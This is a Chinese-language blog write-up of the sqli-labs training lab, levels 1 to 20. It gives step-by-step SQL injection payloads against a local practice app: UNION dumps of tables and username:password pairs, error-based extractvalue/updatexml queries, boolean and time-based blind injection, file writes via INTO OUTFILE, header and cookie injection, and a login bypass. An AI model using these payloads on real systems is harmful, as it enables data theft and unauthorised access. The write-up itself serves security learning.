文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-10-20   4.5k

Web安全学习之sqli-labs手工注入——Basic-Challenge

SQL注入中的大名鼎鼎的sqli-labs闯关,根据网上现有的教程再加上自己的实践,记录一下闯关过程。这一篇是Basic-Challenge阶段的题目。

Less-1 基于错误的GET单引号字符型注入

判断注入类型

1
http://0.0.0.0:8080/Less-1/?id=1'     //报错

相当于执行SQL语句:

1
select * from users where id = '1'';

那是因为我们之前的语句闭合了前面的',而后面单一个',所以会报错

1
http://0.0.0.0:8080/Less-1/?id=1' or '1'='1    //正常

相当于执行SQL语句:

1
select * from users where id = '1' or '1'='1';

判断列数

1
2
http://0.0.0.0:8080/Less-1/?id=1%27%20order%20by%203%20--+ //正常
http://0.0.0.0:8080/Less-1/?id=1%27%20order%20by%204%20--+ //报错

可以看出总共有三列,结合union查询。

爆库payload

1
http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,database()%20--+

注意这里必须取一个id不存在的数字,例如-1

相当于执行SQL语句:

1
select * from users where id = '-1' union select 1,2,database() -- 'limit 1,2;

爆表payload

1
http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+

相当于执行SQL语句:

1
2
select * from users where id = '-1' union select 1,2,group_concat(table_name) from information_schema.table where table_schema=database() -- limit 1,2;

group_concat()函数把来自多行的数据连接到一个字段当中。

爆字段名payload

1
2
http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+

相当于执行SQL语句:

1
2
select * from users where id = '-1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='users' -- limit 1,2;

爆值payload

1
2
http://0.0.0.0:8080/Less-1/?id=0%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users--+

相当于SQL语句:

1
2
select * from users where id= '0' union select 1,2,group_concat(user, 0x3a, password) from users -- 'limit 1,2;

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。

Less-2 基于错误的GET单引号字符型注入

判断注入类型

1
2
http://0.0.0.0:8080/Less-2/?id=1%27%20and%201=1%20--+

报错

1
2
http://0.0.0.0:8080/Less-2/?id=1%27%20and%201=1%20--+

不报错

说明这里接收的id参数类型为 int 型,也就是没有 ' 去闭合。

其他步骤与Less1类似,在此不再赘述。

Less-3 基于错误的GET单引号变形字符型注入

判断注入类型

1
2
http://0.0.0.0:8080/Less-3/?id=1%27

报错信息如下:

1
2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

有一个括号,所以尝试闭合一下括号:

1
2
http://0.0.0.0:8080/Less-3/?id=1)%20and%201=1%20--+

正确显示信息。

其他步骤与Less1类似,在此不再赘述。

Less-4 基于错误的GET双引号字符型注入

判断注入类型

先使用单引号闭合:

1
2
http://0.0.0.0:8080/Less-3/?id=1%27

报错信息如下:

1
2
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

尝试使用"")闭合:

1
2
http://0.0.0.0:8080/Less-4/?id=1%22)%20--+

其他步骤与Less1类似,在此不再赘述。

Less-5 双注入GET单引号字符型注入

关于双注入的形成和理解,我单独写了另外一篇博文,可以移步至此

爆库payload:

1
2
http://0.0.0.0:8080/Less-5/?id=-1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+

注意,由于有随机性,可能成功执行了语句所以不会报错,正常的显示页面(即不报错)。

爆列名payload:

1
2
http://0.0.0.0:8080/Less-5/??id=-1' union select count(*),1, concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as a from information_schema.tables group by a--+

爆字段payload:

1
2
http://0.0.0.0:8080/Less-5/?id=-1' union select 1,count(*), concat((select concat_ws('|',username,password) from users limit 1,1), floor(rand()*2))as a from information_schema.tables group by a --+

修改limit x,1 可以显示第x个用户的password和username。

Less-6 双注入GET双引号字符型注入

双引号字符型注入,上一题的单引号改成双引号就可以了。

Less-7 导出文件GET字符型注入

详细题解

这道题最开始使用单引号闭合发现会有语法错误,只能经过不断大量的尝试,最后才能确定以下查询语句:

1
2
http://0.0.0.0:8080/Less-7/?id=1')) --+

确定语法正确后,可以开始编写payload:

1
2
http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,3 into outfile "/tmp/hack1.txt" --+

爆库payload

1
2
http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,database() into outfile "/tmp/hack1.txt" --+

爆表payload

1
2
http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() into outfile "/tmp/hack2.txt" --+

爆字段名payload

1
2
http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' into outfile "/tmp/hack3.txt" --+

Less-8 布尔型单引号GET盲注

判断注入类型

首先尝试?id=1,发现可以正常回显。再使用嵌入单引号?id=1',发现不能正常回显,也没有任何错误消息。只好通过盲注来验证,该注入查询返回的一定是True或False。

1
2
http://0.0.0.0:8080/Less-8/?id=1' and 1=1 --+

对应MySQL语句是:

1
2
SELECT * from table_name WHERE id=1' AND 1=1

由回显的结果可知该查询是有效的。

接着下一条查询:

1
2
http://0.0.0.0:8080/Less-8/?id=1' and 1=0 --+

对应的MySQL语句是:

1
2
SELECT * from table_name WHERE id=1' AND 1=0

同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此将会返回FALSE。

以上即可说明该数据库是可被盲注的。

数据库名的长度payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and length(database())=8 --+

数据库名的值payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+

其余依次类推,只需要改变substr函数的第二个参数即可。

表名的长度payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5 --+

表名的值payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)))=117 --+

其余依次类推,只需要改变substr函数的第二个参数即可。

字段名的长度payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 1,1)))=8 --+

字段的值payload

1
2
http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=117 --+

其余依次类推,只需要改变substr函数的第二个参数即可。

Less-9 基于时间的GET单引号盲注

基于时间的盲注和基于布尔类型的盲注原理上差异不大,只是在判断是否正确时,前者是看是否有明显的延迟,后者是看是否有回显。

判断注入类型

不管怎么输入,回显总是you are …,考虑时间型盲注:

1
2
http://0.0.0.0:8080/Less-9/?id=1' and sleep(3) --+

发现明显延迟,说明注入成功。

数据库名的长度payload

1
2
http://0.0.0.0:8080/Less-9/?id=1' and if(length(database())=8, sleep(3), 1) --+

if(exp1, exp2, exp3):如果exp1是True,则返回exp2;否则返回exp3。

数据库名的值payload

1
2
http://0.0.0.0:8080/Less-9/?id=1' and if(left(database(), 8)='security', sleep(3), 1) --+

表名的值payload

1
2
http://0.0.0.0:8080/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u', sleep(3), 1) --+

字段的值payload

1
2
http://0.0.0.0:8080/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1), 8)='username', sleep(3), 1) --+

数据的值payload

1
2
http://0.0.0.0:8080/Less-9/?id=1' and if(left((select password from users order by id limit 0,1), 4)='dumb', sleep(3), 1) --+

Less-10 基于时间的GET双引号盲注

基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入,不再赘述。

Less-11 基于错误的POST型单引号字符型注入

测试登录成功,有数据库的数据回显信息,那么就可以尝试使用联合查询注入:

再使用admin'判断注入点:

这里我们使用burpsuite抓包,发送到repeater模块修改POST参数。

方法一 单引号报错注入

爆库payload
1
2
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表payload
1
2
uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

爆列名payload
1
2
uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

爆值payload
1
2
uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users))) --+&passwd=admin&submit=Submit

记录值获取个数有限

方法二 使用联合查询

1
2
uname=0' union select 1,2 --+&passwd=admin&submit=Submit

注意uname值是错误的时候,才能正确显示联合查询的内容

举一个🌰:

1
2
uname=0' union select 1,database() --+&passwd=admin&submit=Submit

其他的payload类似。

Less-12 基于错误的POST型双引号字符型变形注入

方法一 双引号报错注入

按照题意把Less-11中payload的单引号改为双引号应该就能注入,但是在实际操作中,发现无论是用--+还是#还是0x23都不能注释掉后面的内容。

查看一下PHP文件:

1
2
3
4
$uname = '"'+$uname+'"';
$passwd = '"'+$passwd+'"';
@$sql = "SELECT username, password from users where username=($uname) and password=($passwd) limit 0,1";

构造一个能闭合而且报错的payload:

1
2
admin" and extractvalue(1, concat(0x7e, (select database()))) and "

所以SQL查询语句就变成了:

1
2
select username, password from users where username="admin" and extractvalue(1, concat(0x7e, (select database()))) and "" and password=($passwd) limit 0,1

还是在Burpsuite的repeater模块中修改POST参数:

爆库payload
1
2
uname=admin" and extractvalue(1, concat(0x7e, (select database()))) and " &passwd=admin&submit=Submit

爆表payload
1
2
uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

爆列名payload
1
2
uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

爆值payload
1
2
uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(username, '::', password) from users))) and " &passwd=admin&submit=Submit

方法二 使用联合查询

根据SQL查询语句可以构造一个联合查询注入的payload:

1
2
uname=admin5") union select 1,database() --+ &passwd=admin&submit=Submit

其他的payload替换查询语句即可。

Less-13 POST单引号变形双注入

当输入正确信息时发现没有回显信息,所以不能用联合查询,但可以使用时间盲注。

使用admin' and 1=1判断注入点:

通过报错信息可以知道需要一个)来闭合查询语句,在尝试admin') and 1=1 and ('

可以发现数据库不报错,SQL语句可以正常执行。由此,我们可以使用报错注入。

方法一 报错注入

1
2
uname=admin') and extractvalue(1, concat(0x7e, (select database()))) and ('

在concat()中构造查询语句,和less-12以及之前的报错型注入一样,不再赘述。

方法二 时间盲注

1
2
uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

Less-14 POST单引号双注入

先尝试使用admin") and 1=1 ("

通过报错信息可以看出, 输入内容被放到双引号中 ,再次尝试`admin" and 1=1#:

而使用admin" and 1=2#发现登录失败。

方法一 报错注入

使用extracvalue函数:

1
2
uname=admin" and extractvalue(1,concat(0x7e,(select database()))) # &passwd=admin&submit=Submit

使用floor函数:

1
2
uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit

方法二 时间盲注

1
2
uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit

Less-15 基于布尔型或时间延迟单引号POST型注入

无论怎么输入都没有回显—>时间延迟注入。

延迟测试payload:

1
2
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

页面延迟明显,确定使用时间盲注:

1
2
3
4
5
6
7
8
9
10
11
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

Less-16 基于布尔型或时间延迟的双引号POST型盲注

把Less-15的单引号改成双引号即可。

另外还可以使用 万能账号绕过密码验证admin")# 验证。

Less-17 基于错误的更新查询POST注入

无论怎么输入也没有错误回显,查阅index.php源码可以看到check_input函数对参数uname进行的处理,仔细一下这个函数的源码:

第一步,只截取前15个字符;

第二步,首先介绍get_magic_quotes_gpc()函数的作用:

  • 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

  • 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

get_magic_quotes_gpc()函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的误。

也就是说,在magic_quotes_gpc = On的情况下,如果输入的数据有单引号'、双引号"、反斜线\NULL等字符都会被加上反斜线。

第三步,stripslashes()函数删除反斜线;

第四步,ctype_digit()函数 判断是否是数字,是数字就返回true,否则返回false;

第五步, intval()整型转换。

username搞了这么多花里胡哨的操作,但是password字段还是光秃秃的,使用updatexml()函数对password字段进行注入。

爆库payload

1
2
uname=admin&passwd=admin' and updatexml(1, concat(0x7e, database(), 0x7e),1)--+ &submit=Submit

爆表名payload

1
2
uname=admin&passwd=admin' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ &submit=Submit

爆列名payload

1
2
uname=admin&passwd=admin' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+ &submit=Submit

爆值payload

1
2
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

发现有报错:

1
2
You can't specify target table 'tablename' for update in FROM clause

这是因为在MySQL里,不能先SELECT一个表的记录,在按此条件进行更新和删除同一个表的记录。网上的解决办法是,将SELECT得到的结果,再通过中间表SELECT一遍,即:

1
2
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select group_concat(password) from users)),0x7e),1) --+ &submit=Submit

但是又出现了新的错误信息:

在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名)。

最终payload:

1
2
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1) as test),0x7e),1) --+&submit=Submit

Less-18 基于错误的Uagent头部字段POST注入

如果登录正常的话,会显示UserAgent字段的信息:

抓包修改user-agent为一下payload就可以了:

1
2
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

其他的payload类似。

Less-19 基于错误的Reference头部字段POST注入

本题和上一题很像,回显是referer,查一下php文件可以发现,insert语句中向数据库插入了referer,所以注入点改为referer,paylaod和上一题完全一样,也可以参照less-12,将其双引号改为单引号作为本题payload,不再赘述。

Less-20 基于错误的Cookie头部字段POST注入

登录成功后的页面:

再查看一下PHP文件:

用Burpsuite抓包改参数:

发现有数据库错误回显,构造payload:

另外还可以使用联合查询,首先判断列数:

再来构造一个样例payload:

Copyright © ca01h 2019-2020 | 本站总访问量